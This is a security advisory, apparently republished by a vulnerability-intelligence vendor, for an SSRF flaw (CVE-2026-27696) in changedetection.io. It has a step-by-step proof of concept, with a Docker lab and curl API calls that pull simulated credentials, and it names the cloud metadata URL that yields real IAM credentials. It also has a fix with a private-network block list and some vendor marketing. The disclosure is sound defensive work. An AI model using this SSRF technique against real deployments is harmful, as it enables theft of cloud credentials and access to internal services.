Summary
Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function is_safe_valid_url() does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:
http://169.254.169.254http://10.0.0.1/http://127.0.0.1/
The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI, enabling full data exfiltration from internal services.
This is particularly severe because:
- The fetched content is stored and viewable - this is not a blind SSRF
- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources
- By default, no password is set - the web UI is accessible without authentication
- Self-hosted deployments typically run on cloud infrastructure where
169.254.169.254returns real IAM credentials
Details
The URL validation function is_safe_valid_url() in changedetectionio/validate_url.py (lines 60–122) validates the URL protocol (http/https/ftp) and format using the validators library, but does not perform any DNS resolution or IP address validation:
# changedetectionio/validate_url.py:60-122
@lru_cache(maxsize=1000)
def is_safe_valid_url(test_url):
safe_protocol_regex = '^(http|https|ftp):'
# Check protocol
pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)
if not pattern.match(test_url.strip()):
return False
# Check URL format
if not validators.url(test_url, simple_host=True):
return False
return True # No IP address validation performed
The HTTP fetcher in changedetectionio/content_fetchers/requests.py (lines 83–89) then makes the request without any additional IP validation:
# changedetectionio/content_fetchers/requests.py:83-89
r = session.request(method=request_method,
url=url, # User-provided URL, no IP validation
headers=request_headers,
timeout=timeout,
proxies=proxies,
verify=False)
The response content is stored and made available to the user:
# changedetectionio/content_fetchers/requests.py:140-142
self.content = r.text # Text content stored
self.raw_content = r.content # Raw bytes stored
This validation gap exists in all entry points that accept watch URLs:
- Web UI:
changedetectionio/store/__init__.py:718 - REST API:
changedetectionio/api/watch.py:163, 428 - Import API:
changedetectionio/api/import.py:188
All use the same is_safe_valid_url() function, so a single fix addresses all paths.
PoC
Prerequisites
- A changedetection.io instance (Docker deployment)
- Network access to the instance (default port 5000)
Step 1: Deploy changedetection.io with an internal service
Create internal-service.py:
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({
'Code': 'Success',
'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',
'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'
}).encode())
HTTPServer(('0.0.0.0', 80), H).serve_forever()
Create Dockerfile.internal:
FROM python:3.11-slim
COPY internal-service.py /server.py
CMD ["python3", "/server.py"]
Create docker-compose.yml:
version: "3.8"
services:
changedetection:
image: ghcr.io/dgtlmoon/changedetection.io
ports:
- "5000:5000"
volumes:
- ./datastore:/datastore
internal-service:
build:
context: .
dockerfile: Dockerfile.internal
Start the stack:
docker compose up -d
Step 2: Add a watch for the internal service
Open http://localhost:5000/ in a browser (no password required by default).
In the URL field, enter:
http://internal-service/
Click Watch and wait for the first check to complete.
Step 3: View the exfiltrated data
Click on the watch entry, then click Preview. The page displays the internal service’s response containing the simulated credentials:
{
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
...
}
Step 4: Verify via API (alternative)
# Get the API key (visible in Settings page of the unauthenticated web UI)
API_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \
python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])")
# Create a watch via API
WATCH_RESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \
-H "x-api-key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"url": "http://internal-service/"}')
WATCH_UUID=$(echo "$WATCH_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])")
echo "Watch created: $WATCH_UUID"
# Wait for the first fetch to complete
echo "Waiting 30s for first fetch..."
sleep 30
# Retrieve the exfiltrated data via API
LATEST_TS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history" \
-H "x-api-key: $API_KEY" | \
python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')")
echo "=== EXFILTRATED DATA ==="
curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS" \
-H "x-api-key: $API_KEY"
Expected output, the internal service’s response containing simulated credentials:
{
"Code": "Success",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
...
}
In a real cloud deployment, replacing http://internal-service/ with:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
would return real AWS IAM credentials.
Suggested Remediation
Add IP address validation to is_safe_valid_url() in changedetectionio/validate_url.py:
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'), # Loopback
ipaddress.ip_network('10.0.0.0/8'), # Private (RFC 1918)
ipaddress.ip_network('172.16.0.0/12'), # Private (RFC 1918)
ipaddress.ip_network('192.168.0.0/16'), # Private (RFC 1918)
ipaddress.ip_network('169.254.0.0/16'), # Link-local / Cloud metadata
ipaddress.ip_network('::1/128'), # IPv6 loopback
ipaddress.ip_network('fc00::/7'), # IPv6 unique local
ipaddress.ip_network('fe80::/10'), # IPv6 link-local
]
def is_private_ip(hostname):
"""Check if a hostname resolves to a private/reserved IP address."""
try:
for info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(info[4][0])
for network in BLOCKED_NETWORKS:
if ip in network:
return True
except socket.gaierror:
return True # Block unresolvable hostnames
return False
Then add to is_safe_valid_url() before the final return True:
# Check for private/reserved IP addresses
parsed = urlparse(test_url)
if parsed.hostname and is_private_ip(parsed.hostname):
logger.warning(f"URL '{test_url}' resolves to a private/reserved IP address")
return False
An environment variable (e.g., ALLOW_PRIVATE_IPS=true) could be provided for users who intentionally need to monitor internal services.
Impact
Who is impacted:
All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at 169.254.169.254 is accessible.
What an attacker can do:
- Steal cloud credentials: Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens
- Scan internal networks: Discover internal services by adding watches for internal IP ranges and observing responses
- Access internal services: Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet
- Persistent access: Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources
- No authentication required by default: The web UI has no password set by default, allowing any user with network access to exploit this vulnerability
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-27696 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.54.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-27696? CVE-2026-27696 is a high-severity server-side request forgery (SSRF) vulnerability in changedetection.io (pip), affecting versions < 0.54.1. It is fixed in 0.54.1. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-27696? CVE-2026-27696 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of changedetection.io are affected by CVE-2026-27696? changedetection.io (pip) versions < 0.54.1 is affected.
- Is there a fix for CVE-2026-27696? Yes. CVE-2026-27696 is fixed in 0.54.1. Upgrade to this version or later.
- Is CVE-2026-27696 exploitable, and should I be worried? Whether CVE-2026-27696 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-27696 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-27696? Upgrade
changedetection.ioto 0.54.1 or later.